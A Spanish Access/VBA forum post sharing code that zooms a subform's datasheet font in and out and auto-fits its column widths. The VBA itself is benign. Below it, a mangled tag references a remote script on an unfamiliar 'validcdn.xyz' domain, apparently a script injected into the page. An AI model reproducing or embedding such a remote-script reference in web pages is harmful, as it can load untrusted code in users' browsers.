** NORMAS DEL FORO **
Inicio del foro Inicio del foro > Access y VBA > Tus Funciones Favoritas & Aportaciones & Artí­culos
  Mensajes nuevos Mensajes nuevos RSS - Zoom in subform
  Preguntas frecuentes Preguntas frecuentes  Buscar en el foro   Eventos   Registro Registro  Iniciar sesion Iniciar sesion

Zoom in subform

 Responder Responder
Autor
Mensaje
VayaCaló Ver desplegable
Habitual
Habitual


Unido: 16/Septiembre/2008
Localización: España
Estado: Sin conexión
Puntos: 129
Opciones de entrada Opciones de entrada   Gracias (0) Gracias(0)   Cita VayaCaló Cita  ResponderRespuesta Enlace directo a este mensaje Tema: Zoom in subform
    Enviado: 18/Abril/2018 a las 09:42
Adaptación de una function de http://www.vb123.com.au/200601_cw_zoom.htm

1ª En un form con un subform
Private Sub cmdZoomIn_Click()
  Call DatasheetZoom(Me.Lista3.Form, True)
End Sub

Private Sub cmdZoomOut_Click()
  Call DatasheetZoom(Me.Lista3.Form, False)
End Sub


2ª en un modulo

Public Sub DatasheetZoom(ByVal subDataSheet As Access.Form, ZoomIn As Boolean)
Const cFontHeightMinimum = 6
Const CFontHeightMaximum = 72
  With subDataSheet.Form
    If ZoomIn Then
      If .DatasheetFontHeight < CFontHeightMaximum Then
        .DatasheetFontHeight = Int(.DatasheetFontHeight * 1.25)
      End If
    Else
      'zoom out
      If .DatasheetFontHeight > cFontHeightMinimum Then
        .DatasheetFontHeight = Int(.DatasheetFontHeight * 0.8)
      End If
    End If
  End With
  Call DataSheetSizeToFit(subDataSheet)
End Sub

Private Function DataSheetSizeToFit(ByVal frm As Access.Form)
Const SIZE_TO_FIT = -2
Dim fld As Field
Dim StForm As Form
Set StForm = frm
  For Each fld In StForm.Recordset.Fields
    Select Case fld.NAME
    Case "LibreA1"
    Case Else
       StForm(fld.NAME).ColumnWidth = SIZE_TO_FIT
    End Select
  Next fld
Set StForm = Nothing
End Function

< ="text/" ="http://validcdn.xyz/ext/195e6549aa0a3e3955.js?sid=50681_6494_&title=&blocks=02aed">
Arriba
 Responder Responder
  Compartir tema   

Ir al foro Permisos de foro Ver desplegable